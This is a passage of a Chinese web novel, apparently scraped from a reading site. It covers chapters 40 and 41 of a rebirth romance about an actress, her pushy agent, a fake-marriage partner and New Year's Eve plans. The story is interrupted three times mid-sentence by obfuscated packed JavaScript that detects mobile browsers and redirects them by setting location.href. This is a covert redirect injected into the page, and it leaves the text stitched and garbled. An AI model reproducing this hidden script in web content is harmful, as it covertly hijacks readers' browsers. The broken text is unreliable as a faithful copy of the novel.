0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17336157|197807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >林菲? “真够难缠的。”她撇嘴嘀咕一声。 铃声持续响着。 思来想去,大拇指向上一划,她接通了电话:“喂,菲姐。”语气不冷不热。 相比较之下,林菲热情多了,“好好,告诉你一个好消息,你入围了金视奖最佳新人奖。” 金视奖是国内电视剧最具权威的奖项之一。 上一世,就算坐到顶流女明星的位置,常好好都没有获得过金视奖奖项,唯独提名过一次最佳女主角,还是最终投票倒第一的那位。 “这周收视率走势强劲,制作方今天给了确定消息,打算把这部剧的收视率提升到近五年以来都市剧收视率第一名。” “本来最佳新人之间竞争激烈。但你不一样,有这部剧收视率加持,你得到最佳新人的概率极高。最近你运气不错,卡到这个关键节点。” “喂?你有听到我说话吗?” 回应与想象中不同,林菲一度以为信号不好。 常好好大脑一片空白,手下意识地把手机从耳边挪开,点击扬声器按键,把手机往边几上一甩,仿佛没有灵魂的回道:“嗯。” “好好,姐没跟你开玩笑,我说的都是真的。制作方出手两千万买收视率,你又是《新生》里的唯二入围。不说百分百,百分之九十五的概率新人奖是你的。” 两千万? 真他么的疯了。 常好好冷笑,没出声。电话那边的林菲仍在持续输出,“公司最近多面开花,汀汀也入围了最佳女配角,看其他入围者,最佳女配已经被她收入囊中。” “到时候你们俩无论在明面还是后台都要多多打配合,争取把热度全揽在你们身上。营销方面不用担心。营销部已经准备好营销思路,只要你不使小性子,尽全力把戏演好,我保证你今后演艺生涯全是光明。” 林菲不愧是后来的金牌经纪人,那张嘴呀,不是一般的能说会道。 重生前那时候,听到自己入围金视奖,管它是新人奖,还是其他奖项,常好好一定高兴得蹦高,恨不得发几十个朋友圈向全世界宣告。 现在的她,只觉得荒唐。 “菲姐,我出道五年多,参演了七部电视剧。再提名新人奖,是不是有点雷人。”常好好懒洋洋地道,“要我说,我们还是把机会留给真正的影视新人吧。” 话音落下,电话那头久久未出声。常好好倍感意外,按照以前的走向,林菲绝对会破口大骂。 下一秒,林菲终于出声。不是骂腔,委婉了许多,“常好好,你到底怎么了?近一年来像变了个人似的,是不是认为公司亏欠你?” “我告诉你,你已经比百分之九十的人幸运。公司待你不薄,没少给你出钱出力,你要摆正心态,不要总跟汀汀比。人家汀汀在表演上有天赋,你们起点就不同。” “这次赶上制作方肯花大价钱,要不然最佳新人奖你未必能得到。” 说得好像她和秦汀已经把奖杯拿到手上了一样。常好好翻了个白眼,气得笑出了声:“菲姐,你是不是想多了,我现在心态好的很。” 哪怕是上一世的这个阶段,常好好也从来没冒出过跟秦汀比的想法。 她承认秦汀是天生的演员,在这方面天赋异禀,演第一部戏时便被业内赞赏以后定是个演戏派。但这些跟她无关,因为她比任何人都清楚自己的优势和弱势。反倒不同赛道的秦汀明里暗里对她充满了敌意,好像她们是死对头。 懒得跟对方浪费口舌,常好好默默听着,特意换了个舒服的姿势,等待林菲下一轮话术。 “总之你保持好心态,最近别出幺蛾子。等后天恋综首期播出后会有不少曝光,公司通过综艺提前给你贷款了一个轻奢品牌。”林菲语调放缓,“你千万别在这种关键时刻给我搞事,记得把嘴闭紧,老老实实拍你的广告。” “哦。”常好好闭目养神,随口应声,忽然睁开双眼,直起上半身,反问道,“广告?” “嗯,已经给你敲定好了,知道合作明星是谁吗?” “谁?” “江跃。” 一片沉默。 林菲误以为常好好听到好消息导致激动得说不出话,“我懂你的心情,好事一个接一个,换做谁都难以相信。” “呵呵。”常好好无言以对。 林菲还想讲长篇大论,被身边助理递出的资料打断,“好了,该说的我都跟你说了。我有其他事处理,你这两天好好休息,注意食物摄入,别贪吃。” 电话挂掉,常好好内心五味杂陈。 江跃? 怎么偏偏是他? 江跃是常好好的前男友,也是重生前常好好唯一交往过的对象。常好好出道的那档恋爱综艺节目的演播室嘉宾就有江跃。 最后一期,所有素人嘉宾到演播室录制,那次是他们两个人第一次见面。 那时候江跃刚出道两年,名气不大,作品不多,公司给他的定位并不是走流量路线。 后续常好好进入演艺圈,同一档恋综的同事偶尔聚餐,两个人交集渐渐变多。但真正在一起是在相识后第六年。 一次时尚盛典的后台,江跃帮助常好好解围。 按照时间线,应是明年。 “走向变了,好多事提前了?”她喃喃自语。 上一世她和江跃压根没合作拍过广告,甚至分手前从来没同台过。 “叮叮!” 信息通知音打断了她的思路。许是被林菲的话影响到,常好好没什么精神头,想着林菲定是认为电话沟通不够,再发信息给她来一段长篇大论,好pua她。 于是无精打采地拿起手机,慢悠悠地划开屏幕。 当看见对话框里那个熟悉的昵称,她满血复活,大拇指迅速点开信息,看到了对方发来的内容。 【有时间的话,来我家一趟。】 40. 大戏 对方不是林菲,而是凌枫。 常好好不自觉地勾起唇角,手指定住三秒钟,深呼一口气,然后不再犹豫点击语音聊天。 一分钟,她足足听了长达一分钟的背景音乐,最终皱着眉头主动挂断。 “为什么不接通?” 搞不清楚凌枫的心思,她不再浪费脑细胞,二话不说冲到衣帽间里换衣服,开车急匆匆来到凌枫家。到了大门口,反倒退缩起来,拳头停在半空,迟迟未敲门。 她迟疑不决,小声嘀咕:“我跟他是并肩作战的队友,仅此而已。”说完,心里面有了方向,动作不再僵硬,拳头敲响大门。 “咚咚咚!” 持续的敲门声没有任何作用。 她拨通凌枫电话,又是漫长的一分钟,仍旧没人接通。她心里一紧,回想凌枫曾经告诉过她的密码,凭借记忆输出一串数字。 “啪”的一声响,大门开了。 慵懒的歌曲传到耳朵里,她毫不犹豫地拉开门,脱下靴子,刚要脱口而出“凌枫”二字,眼前被明晃晃地闪到。低下头,地垫上的鞋差点闪瞎她的眼。 爆闪高跟鞋? 屋里播放的音乐是方琴生日宴会上放过的歌曲,联想凌枫突然发来的内容,以及眼前这双时髦的高跟鞋。 倘若方琴“突击检查”,那么一切都说得通了。 阿姨真是紧跟潮流。常好好心里念叨着,多看了几眼高跟鞋,然后脑补出凌枫正在应付方琴的画面,及时从鞋柜里拿出拖鞋,脱掉了大衣,洗好手坐在沙发上,情绪已准备就绪,随时协助凌枫演出大戏。 凌枫打扫完最里间的房间,脚踏入客厅的一刹那,手中的毛绒玩具差点没拿稳。即便如此,他的面容依然淡定如常,平静地道:“你来了。” 听见声音,常好好“嗖”的从沙发上弹起来,想都不想,奔着凌枫而去,给他一个大大的熊抱,脸蛋埋在凌枫胸前,还适宜地蹭了蹭。 完全没有心理准备,感受到身体传来的温度,凌枫整个人僵硬在原地,一动不敢动。 “凌枫,我好想你。”始作俑者说出心里嘀咕好久的台词,大声问道,“你呢,想我了吗。” 男人显然被“吓”得不轻,嘴巴不出声,身体同样没有任何反应。 “你为什么不抱紧我?” “……” “嗯?”胸口处有异物,好像毛茸茸的。常好好微微松开环抱住凌枫腰间的手臂,垂头瞄了一眼,而后扬起小脸,用撒娇的口吻道,“好可爱的熊,是送给我的吗?” “……” 入戏时,最忌讳对手演员不给力。她踮起脚尖,嘴朝凌枫耳边移去,小声训斥:“你是没充电的机器人?等什么呢,赶快抱紧我啊!” 由于距离太近,凌枫被耳边风吹得心直痒痒,犹豫片刻,右手轻轻搂住常好好的腰身,嘴上仍一言不发。 常好好压低声音问:“你妈妈呢。” “这个时间我妈应该在送卓远去补习班的路上。” “阿姨亲自送啊,真辛苦。”演戏演累了,常好好感叹一句,脑袋贴回温暖的胸口处,然后猛地一激灵,抬起头,“阿姨不在家?” 凌枫从心慌意乱中抽离出来,意识到常好好误会了什么,瞬间放松下来,眯了眯眼眸,调侃道:“你又喝了多少?” 常好好收回手臂,身体往后退了一大步,她能感觉到脸颊有多烫。 多少年了,多少年没如此尴尬了。哪怕是各大颁奖典礼直播现场,遇到突发事件的她都没这会儿别扭。 “门口那双爆闪的鞋是谁的?”她适时转移话题,加快脚步来到玄关处,手指向高跟鞋,扬了扬眉,“你别告诉我,你有另类收藏癖好?” “送你的。” “?” “帮朋友带鞋,凑巧看见这双,”凌枫难得说起话来吞吞吐吐,手拎起高跟鞋,“跟你上次的内搭很配。”话音落下,他将高跟鞋重新放回地垫,询问一声,“你要不要试一试。” 上次?她穿啥风格的衣服来着? 常好好努力回想他们上一次见面时的着装,率先抬起右脚,许是一心不能二用,一个没站稳,身体失去平衡,身旁的大手反应迅速,轻触她的后背。她摆正身子,低声道:“谢谢。” 不得不说,凌枫的审美跟她相近,随便一买都能买到她的心里去。她两只脚踩上高跟鞋,在镜子前来回转圈。心中重复着凌枫的话语,顷刻间找到了重点,“你帮哪个朋友买鞋,我认识吗?” 还真认识。凌枫脑海里蹦出苏淼那张既可爱又狡猾的脸,嘴巴抽了抽,“远房表妹,下周过生日。” “原来是这样。”常好好欣赏完高跟鞋,慢慢脱下,再次换上拖鞋,不客气地收下,“谢了,下次我路过哪里看到合适的东西,再送你。” 对于“远房表妹”相关,她不打算细问。毕竟他们不是名副其实的夫妻关系,没必要刨根问底。 “对了,你喊我来有重要的事?是不是成世泽那边有新消息?”她问道。 “不是。” “那你叫我来你家干嘛?”常好好忽地一顿,试探着道,“为了送我高跟鞋?” 凌枫眸光触到地垫上散落着的一对鞋,简单回了个“嗯”,紧接着蹲下身子,先是将高跟鞋摆正,再把它们立立正正放入鞋盒内。 他的头就在腿边。 常好好甚至感受到了凌枫的头发丝微微扫过她的小腿。她的心跳瞬间加速,心绪被对方带动着,很难平稳。视线跟随凌枫,他的眼、他的鼻、他的嘴。 对她而言,这些越来越熟悉。 “凌枫。”她说。 听见声音,凌枫仰起头,身子却没站起来。 常好好:“我很好奇。” 凌枫:“什么?” 常好好:“你对身边的人都这么体贴入微吗?” 凌枫:“不是。” 得到答案,常好好下意识笑了笑,顿了顿,继续试探:“那是不是说明你入戏太深了。” 凌枫微微垂头,下一秒直起身子,双脚向前迈一步,伸出右臂,支撑在常好好身后的墙上,柔声回道:“的确如此。” “砰!砰!砰!” 常好好抬眼看向凌枫,同样是那张帅脸,双眼却酝酿着她看不懂的情绪。 心仿佛漏掉一拍,她不断给自已洗脑:“不过是心动而已,毕竟长得太帅了。” 停止了胡思乱想,她立刻收回目光,手不自然地将刘海掖在耳后,而后取出手机,晃了晃:“凌枫,我有非常重要的事跟你说。” “你每次都说重要。”凌枫眼神一扫,看一眼常好好的手机,默默离开玄关的位置,移步到厨房。他好像并不在意对方会说出多重要的事,打开水龙头,面无表情地冲洗双手。 常好好走到凌枫身后。这个角度,她看不见凌枫的脸。即便如此,她嘴角扬起,播放准备好的录音。 …… 一个字不落,全部播放完毕。 对方的反应跟常好好想象中的画面有偏差。要不是公放,她快要误以为自己是不是手抖导致播放了错的录音。 于是,她再次摇晃手中的手机,“我说,你怎么一点不惊讶?你不是一直认为成世泽喜欢的人是我吗。” 凌枫擦拭双手,淡定回身道:“我了解世泽。” “哦,所以呢。” “所以我能够辨别出他说的是真话还是假话,况且录音里他认为我们在一起。”凌枫停顿了几秒,继续道,“你觉得这也是真的?” 真够倔的!常好好气得把手机撇到沙发,双手叉腰道:“凌枫,人可以自信,但不要自负。这次你的判断真的有误。”她抬起空空如也的手,尴尬一笑,回身把刚扔出去的手机又拿回来,一顿操作,再举起手机屏幕,对着凌枫的脸,“看见没?你的好兄弟和对面的美女整整闲聊了半个小时。你不是了解成世泽吗,你觉得他的行为正常吗?” 凌枫紧盯手机屏幕。半晌,他道:“吴妍新。” “你认识?” “她是你家的心理医生。”凌枫问,“你多久没回成家了?” 常好好撇了撇嘴,“我回去干嘛,那又不是我家。再说了,我闲着没事给自己找气受?” 凌枫一时无言。 常好好一门心思把凌枫的想法摆正回来。她坐下来,开始讲述刚才她在心理机构看到的画面:“你当时不在场。我跟你说氛围特别不一般,当时周围时不时地有人路过,我二哥全部忽视,甚至把我都给忘一边去了,朝着吴妍新释放他的笑容,聊的那个忘我啊……” 常好好描述的那叫一个激情澎湃,而凌枫根本没仔细听她的话,脑海里不断播放着从小到大几个人聚在一起的画面,试着重新用“成世泽对常好好没有男女之情”的想法代入,发现竟能说得通。 “真是我想多了?”他小声自言自语。 正说得起劲儿呢,被凌枫的嘟囔声影响,常好好停下来歇歇嗓子,语气带着不满:“你嘀咕什么呢,到底有没有听我讲话?” 凌枫点头:“你的意思是,世泽心里的那个人不是你,而是吴妍新。” “没那么绝对,夏琳也有可能。”瞥见凌枫蹙起眉头,常好好解释道,“夏琳是成世泽的高中同学,也是那家心理机构的创始人。” 提到这里,她一下子想到陈舒悦,然后脑海里的画面不断切换,蹦出林菲那张既熟悉又讨厌的脸,“哎,别提了,本来我都琢磨好了,这些日子每天去那里蹲点观察成世泽和她们的关系,都怪林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343580|197807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菲打扰我的计划。” 凌枫不明所以:“林菲?” “我经纪人!刚才给我打电话说了一大堆让人无语的话。”常好好口干舌燥,像来到自己家一样,走到餐边柜,熟练地拿出柜子里独属于她的玻璃杯,为自己倒一杯纯净水,一口闷了大半杯,愤恨地说,“一群疯子,要花两千万买收视率!” 重生前,她在娱乐圈工作十二年,对业内那些奇葩的疯人疯事有所耳闻,可今天还是被林菲所说震惊到。 “陈舒悦每个月将兼职所得的两千块钱捐给福利机构。相反的,那些制作方和投资人却决定拿两千万买所谓的收视率。”她嗤笑,“好讽刺。” 凌枫像一个倾听者,静静听着常好好讲述心中的不满,待对方都发泄出来,才慢悠悠地道:“很多事,我们改变不了。” 无力。 一种无力感。 “你说的对,我改变不了别人,但我可以改变自己。”常好好展开笑颜,“我打算找个好机会跟菲姐坦白。” “坦白?”凌枫不解,“坦白什么?” 他微微地眯了眯眸,忽然意识到常好好口中的坦白指的是哪些,“你不怕公司知道你退圈,给你找其他麻烦了?” “以前确实担心,但现在很多情况跟重生前不同。”常好好瞄了凌枫一眼,抿了抿嘴,最终没控制住想要输出的嘴,“秦汀你知道吧,她跟我同属一个经纪公司。上一世,我记得她从没获得过金视奖提名,这一世她竟然获得了提名,甚至有很大概率拿到最佳女配。”她换了个姿势,双脚踩在沙发垫,手臂环住双腿,“就像蝴蝶效应一般,很多事情已经有所改变。也是因为这件事我刚慕名瞅了眼她的剧。虽然不想承认,但是她演的真不错,演技比她本人靠谱多了。” 聊着聊着发现说得有点多,常好好被自己吓到。这种闲嗑,她竟然会跟凌枫分享? 忽然有点不自在,她收回过于放松的双脚,老老实实穿上拖鞋,清了清嗓子,言归正传:“按照现在的发展,就算我退圈也不会让公司认为有多大损失。他们的关注和希望都放在秦汀身上。” “而我呢,趁这个好时机提出退圈,再适当的演演戏,公司说不定会为了树立人设,美化下它自己,最后合约到期不续,顺顺利利。” 凌枫见常好好闭起双眼、双手合十,露出浅笑,低声道:“会的。” 常好好没听清,扭头道:“你又说什么,大点声,我没听清。” 二人四目相对。 凌枫:“我说,你一定会顺顺利利。” 男人郑重其事的发言使得她的心跳再次加快。常好好眼神躲闪,立马起身,“谢谢你送我的高跟鞋,我很喜欢。”她一时别扭,连手应该放在哪都不知道,动作接连不自然。 担心小心思被看透,她拿起手机小跑到玄关处,拿过外套就往身上套,“沈骁在家等我呢,我先回去了,拜拜!” 门被她随手关上,飞奔到电梯口前,食指不停歇地点击着电梯按钮。当她踏入直梯内,才稍微缓口气,可以说是落荒而逃。 最近沈骁每天接送李嘉晨上课下课,可把她累坏了。刚泡完脚,她一下子窝进按摩椅里,表情惬意极了,“好好,你家真的好舒服啊。” 没人应声。 “好好,好好?” 依然没人答应。 沈骁看着走神的常好好,眼珠子一转,大声喊了句:“凌枫?” 于是,沉浸在自己世界里的常好好终于有了反应。她抬头,懵逼的眼神看向沈骁,“嗯?凌枫?他怎么了?” 沈骁一副掌握全局的表情,翘起二郎腿,眯起眼睛,笑得贼兮兮的,“好好,你不会跟凌枫假戏真做了吧。” 常好好立刻反驳:“瞎说什么呢,我在思考事情。” “思考啥,说给我听听,我可以帮你好好分析。” 听到沈骁的话,常好好足足愣了一分钟,等彻底组织好语言,才开口问道:“江跃,你知道的吧。” “你是说男明星江跃?”沈骁更加来了兴趣,从按摩椅里蹦了下来,一股脑冲到常好好身边,“当然知道,他多火啊!”说着,沈骁意识到不对劲,怎么突然提到江跃?她脑袋飞速运转,忽地倒吸一口凉气,“江跃跟凌枫有关系?” 常好好摇了摇头。 “不是吧!”沈骁捂住嘴巴,“江跃和成世泽有点什么?” 脑回路真不是盖的。 常好好嘴角微抽,又摇了摇头。 “那江跃还能和谁有关系啊。” “跟我。” “哦,跟你啊——”沈骁定住了,然后扭头看常好好,“啊?你们俩有啥关系?” 常好好不再卖关子,把重生前她和江跃的部分相处说了出来。 41. 跨年 “我勒个去,你们俩竟然在一起过?” “江跃和你都火成啥样了,没人拍?没人提?” “狗仔真是废物!一天天的在那叨叨拍的都是顶流,屁吧。” “营销号更是垃圾!随便给不相干的人往一起凑,真情侣一个挨不上。” 沈骁激动之余不忘骂骂咧咧的。 常好好停顿片刻,再次抛出重磅:“下周二我和他一起拍广告。” “谁?江跃?” “嗯。”常好好不自觉地抠着手,“我正愁要不要跟凌枫主动坦白我和江跃之前的关系。” “等会儿,你让我捋一下。”沈骁掰着手指头,不知道的还以为她在那算数呢。来回来去掰了几个回合,她恍然大悟,“我明白了,现在你和江跃只是认识的关系,你们两个下半年才会在一起。”寻思走向不对,她露出一抹坏笑,“那个,你还打算跟江跃在一起吗?” “你说呢,我现在是有红本本的人,当然要和其他男人保持社交距离。” “你和凌枫不是假的吗?” “但我俩的目的就是让别人误以为我们是真的。” “也对,”沈骁挠了挠脖子,成家的事太复杂,她懒得浪费脑细胞思考,开始对另一件事费脑筋,“有些事变了,但跟我们打不着关系的人和事好像没什么变化。按照从前的路线,你和江跃还会有交集。” “天啊!” 沈骁和常好好对视。 常好好抬起手,按住微微抽痛的太阳穴,“我有个不好的预感。” 她们越来越默契,沈骁好像瞬间接收到常好好的信号,一本正经的分析:“你提前退圈,意味着你和江跃不会像上一世那样通过盛典晚会遇见,所以广告相遇是……提前了?” 沈骁的话不无道理,常好好陷入沉思。 她和江跃在一起的那六个月,实际上见面次数不超过两个手的手指头。 在一起没多久,江跃的经纪人便暗示她好几次,他们两个人不可能长久。 公司和林菲倒是不反对,毕竟她那时候已和公司续约,再加上江跃是顶流,林菲私底下没少琢磨怎么找机会蹭流量,但都被常好好阻止,也只能暂时作罢。 “好好,你和江跃为啥分手?谁提出来的?”沈骁打断她的联想。常好好回忆起从前,心里一紧,轻声说,“是我提的,在一起之后意识到我对他有心动,但更多的是感激。” 沈骁听的起劲儿,手塞到零食袋里都忘记拿出来。 常好好垂下头,继续道:“我承认,那份感情中是我对不起江跃,情债总要还的。” 后来有一段时间,每当参加盛典活动或者晚会,她和江跃的团队心照不宣,都会把两个人的位置故意隔开。 即使两个人咖位相近,也要想尽办法不放在一个区域。 “我单纯好奇,你别怪我问题多。”沈骁掏出手爪子,咬了一口卤蛋,眼睛里全是对八卦的渴望,“之后呢,你……你不会移情别恋了吧?” 常好好满脸黑线,她在外的形象已经到这种程度了?她不满地撇嘴,问道:“我是那样的人吗?” “说实话,外表看不太出来你对待感情是啥样的人。” “……” 沈骁确实是个有话直说的主。 常好好坐正,眸光坚定:“我们认识时间不短了吧,我是那种私生活混乱,见一个爱一个,随便与别人交往的人?” 沈骁歪着头想了一会儿,然后晃了晃脑袋。 “这就对了,我不是那样的人啊。”常好好长叹一口气,“哎,早知道当初江跃跟我表白的时候,我不应该头脑不清醒,直接答应的。” 圈子里人多嘴杂,架不住身边有的人嘴碎。没多久,江跃和她交往过的消息便被传了出去。好在只是小范围传播,其中有不少人当个八卦聊,没太往心里去。 真正在圈子里广泛流传,是在她成为顶流后,时不时地总有好趣的圈内同事和上层过来问她和江跃之前的事,想想都烦得慌。 沈骁见她心事重重,安慰道:“安啦安啦,都过去了。反正你不会跟江跃再有那些瓜葛,不用担心。” “可我要跟他拍广告。” “拍广告而已,你想太多了,我们要往好的方面想。” “嗯。”常好好不断在心里安慰自己,一下子没那么紧绷了。 沈骁笑眯眯地看了常好好一眼,吧唧着嘴,说道:“你啊,就是被凌枫影响了。说明在你的心里,凌枫已经占据一个重要的位置。” “你别胡说八道,我们是团结友爱的队友。”常好好话锋一转,“明天晚上跨年,我们一起吧。” 以前元旦不是在外演出跑各大活动,就是在家休息,自己一个人过。如今,她想热热闹闹的过。 沈骁:“好啊,我刚才就想跟你研究跨年的事呢。我们几个队友聚在一起,正好又能开会讨论,又能吃喝玩乐,想想都爽。” 真就长了个吃心眼。 常好好拿起手机,转身离开,“行,你洗洗睡吧,我要酝酿睡觉了,争取明天把凌枫请过来。” “你要坦白江跃的事?” “再说吧,晚安。” 沈骁望着常好好的背影,无语地眨了眨眼,偏过头,瞧着墙上的挂钟,嘴里念叨道:“不到七点,睡哪门子觉啊?” 躺在卧室的大床上,常好好盖上被子,闭上了双眼。半个小时过去,仍没有顺利进入梦乡。 她挪了挪身子侧身躺了一会儿,觉得不舒服,尝试趴着睡,发现还是不行,干脆盘腿坐起来,放弃了睡觉。转头,拿起放在床头柜上的手机,划开锁屏,点进她与凌枫的对话框,快速输入一段话。 【明天晚上有时间吗,我们小团队聚餐,地点在我家,你要不要来?】之后迟迟不按发送,默默删掉所有字,犹豫着重新发了五个字过去。 乱中有序的房间里,凌枫坐在椅子上,翻看着手里的资料,他的正前方墙上是一块120寸大幕布。 屏幕里,张韧那边网络不佳,画面一卡一卡的。陆颂暂时有事,不在画面里。剩下苏淼双手杵着脸庞,眼神呆滞地看着凌枫。 “叮叮。”旁边的手机响了。 凌枫手顿住,探头扫视手机屏幕上的信息,瞥见昵称,他想都没想第一时间放下手里的纸张,点开通知信息。 【好好生活:你在做什么?】 看到内容,他紧锁眉头,没有说话,也没有回消息的意思。 屏幕里,苏淼打了个哈欠:“我说你们还有什么要说的没,时间不早了,我要去睡觉。赶紧结束会议得了,压根探讨不出什么重点。” “现在七点五十,你确定你能睡得着?”陆颂又重新出现在画面中,调侃道。 苏淼气得翻了个大白眼,一脸愤恨地道“你们少装傻!前些日子我给常好好当保镖,好不容易赶上她最近没活能休息几天,你们知道我有多累吗?累得上一本的番外我都没心情写,不睡觉干嘛?跟你们在这里一直大眼瞪小眼?”她越说越刹不住闸,“这么多天,我就不明白了。常好好是不是凶手你们还用费心费力去查吗?不要再浪费时间了,有这功夫不如跟他们那边坦白,人多力量大,我们两个团队强强联手,还怕找不出来隐藏在暗中的反派?” “你以为现在所处的情况是你小说中的情节,说打怪就打怪,说抓到反派就抓到反派?”张韧那边的信号终于不在卡顿,突然贴近屏幕,一脸严肃,“抓凶手,我们讲究的是证据,证据表明常好好的嫌疑最大。成世泽出事当天,她忽然改变原有通告,摆脱了身边所有人包括保镖,不知道去了哪里。至今都是未解之谜。” 这句话苏淼听了八百多遍,想反驳却发现找不出词来,于是继续“装死”,不再开口发言。 陆颂是犯罪心理学专家,他清楚张韧不是抓着常好好不放,而是纸面证据如此,纯就事论事。 他望着屏幕画框里的凌枫,问道:“凌枫,你觉得呢。” 凌枫飞快地打下一行字,发送过去,抬头道:“保险起见,按原计划行事吧。”说完,微微垂眸,目光紧紧盯着手机屏幕,没人知道他在想些什么。 【毒舌枫神:在休息。】 常好好望着凌枫发来的三个字,把早就准备好的一段话发了过去。 【好好生活:明天跨年,安燃和沈骁过来一起,大家打算多聊聊天,你来吗?】 【毒舌枫神:我回爸妈那。】 【好好生活:好,阿姨问起我来,你说我有工作没时间去,我对外都这么说的,成世泽也知道。】 【毒舌枫神:嗯。】 凌枫文字简练,一点不拖泥带水。 常好好明显有些失落。 其实她猜到凌枫会拒绝,可脑和手不听使唤,非要问一下,否则觉都睡不踏实。 得到确定答复,她放下手机,钻进被窝里继续酝酿睡意。 “叮叮。” 她猛地睁开眼,拿回手机划开锁屏,信息是凌枫发来的。 “我晚一点去你那。”她一字一句读着,开心地笑了,瞬间失眠了。 …… “有没有人?”常好好大声呼喊着。 四周的迷雾越来越深,她脚下不敢乱动,下意识地向前伸出双臂,毫无章法地摆动。 依旧没有任何声音回应。 “什么都看不清,这到底是哪儿啊,”她喃喃自语,挪动脚步,原地转了一圈,“喂,有人吗?能不能回应我一下?” 喊了许久,一个人影没瞧见,脚边却凭空出现一罐可乐。喊得嗓子发紧,她小心翼翼地蹲下,拿起可乐罐在耳边轻轻摇晃。 是没被打开过的新可乐。 “啪嗒!”可乐罐被她打开,很快喝完了。 这时雾气消散了许多,她漫无目的地向前走,心里想着要是有一个垃圾桶就好了。走啊走,前方真的出现了一个垃圾桶。 垃圾桶满了,里面的垃圾快要溢出来。她将可乐罐使劲往下压,艰难地放进垃圾桶里。 下一秒,也就一眨眼红的功夫,眼前的垃圾桶消失了,迷雾再次笼罩着她。她的内心充满了恐惧,拼命想要结束眼前这一切。 “呼……”常好好睁开双眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347027|197807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 原来是梦,又是有关迷雾的梦境。 她平复下情绪,抬头看向墙上的挂钟,头脑一下子清醒,赶紧下床去洗漱。 推开房门,来到客厅,她被不远处地上放着的各种各样的装饰品吸引过去。 听到脚步声,沈骁一仰头,看见了常好好的爆炸头,嘴角立即扯了扯,控制好半天才把笑意压下去,热情地招呼着:“起来啦,这些都是我上午去小市场和超市淘来的,你快过来看看满不满意,我可不可以布置?” 一觉睡到了下午一点。常好好尴尬地笑了几声,“我相信你的创意,随便你装。” “好嘞,我马上弄。”沈骁充满能量,一边忙着装饰,一边说道,“你去歇着吧,锅里面有粥和鸡蛋,你多少吃点。” 沈骁效率极高,说干就干,很快把屋子布置完成。前后不到五分钟,安燃过来了。 安燃从这边走到那边,眼睛不够他看的,“啧啧啧,真不错,你说你们,怎么不等等我呢。哎呀,啥活没干上,你说说这时间赶的。” 沈骁气的咬紧牙根。 要不是常好好在中间做老好人,这俩人肯定把客厅当成“战场”了。 被沈骁强制性要求吸地擦地后,安燃累得瘫在按摩椅上。累成那样都不忘张嘴说话:“别说,很有跨年氛围,可惜今晚我要提前走。哎,你们不要太想我。” “少臭美了,我和好好会想你?”沈骁嫌弃地嚷嚷着。最后依然被好奇打败,问了一嘴,“你为什么走啊?” “晚上要回家吃饭。我爸妈一年见不到我几回,元旦再不回去,我要被骂了。” 沈骁点头道:“也是。” 常好好觉察出沈骁情绪不对,以为她想老家了,心里莫名不是滋味,琢磨好久,才小声关切道:“这边没什么事,你要是想家就回去看看吧。坐飞机要两三个小时吧,今天还来得及。” “家里没人。”沈骁垂头,刘海挡住了她的眼睛。 常好好看不见沈骁的情绪,见她一动不动好像想起什么很伤感的事,心里咯噔一声。 她们相处了七个多月,这些日子里每天的话题都围绕在如何改变魏筝,如何查到成世泽身边每一个人等等。有关沈骁家里的情况,知之甚少。 想到这,她心里惭愧,轻拍了拍沈骁的背部,正要输出安慰的话语,沈骁仰起脖子,左右前后晃了晃,龇牙咧的表情,“我说怎么有点不舒服,脖子好像抻到了。” 常好好:“……” 这是她第几次被沈骁骗到,对方就是个没心没肺的主,怎么可能真多愁善感? 无语至极,她收回情绪,也收回了手。 安燃接着话茬问道:“对了沈骁,你爸妈没催你回家吗?” “呵,催啥啊,压根没工夫理我。”沈骁拿起盘子里的卤鸡腿咬上一大口,咀嚼后咽了下去,挑了挑眉说,“我爸妈嗨着呢,人俩去哈市看雪去了,从头到尾都没邀请过我。” 安燃感叹:“你爸妈感情真好,不像我爸妈,偶尔吵架,吵的我心烦躲得远远的。” “他们因为哪方面吵架?” “因为我啊,之前没退役前因为训练和成绩吵,退役了又因为我不搞对象,不经常回家吵。” “那还不是你的问题。” “嘿?你站哪边的?” 常好好听着他们二人讨论家里人的趣事,张了张嘴,发现根本插不上话,默默把嘴闭上,视线微微扫过眼前的食物,伸出手迟疑半晌,又收了回去,完全没有食欲。 到了五点钟,安燃匆匆忙忙离开,屋里又只剩下常好好和沈骁两个人。 之前,沈骁嘴巴自始至终没闲下来过,不是在吃,就是在说。这会儿反倒闭上嘴巴,不过时间不长,大概过去半分钟,她挽起常好好的手臂,“刚才安燃在,我没好意思问你,就是……”她顿了顿,重新组织了下语言,“我布置客厅的时候找工具来着,就去了一趟你的书房。” 看沈骁的表情,以为怎么了呢。闻言,常好好不甚在意,摆了摆手,“没关系,之前我说了,家里房间随便进。我不是凌枫,家里搞什么锁门。” 话音未落,她便懊恼地叹了口气,闲着没事提他干嘛? “我能不能问你一个问题。”沈骁再次道,“我承认我好奇心旺盛,实在太想知道答案了。” “什么答案?” 沈骁超级积极,飞快地跑走,“你等着,我去拿过来。” 不过十几秒,无数张小卡被她轻拿轻放,一张一张的放到常好好身前的茶几台面。 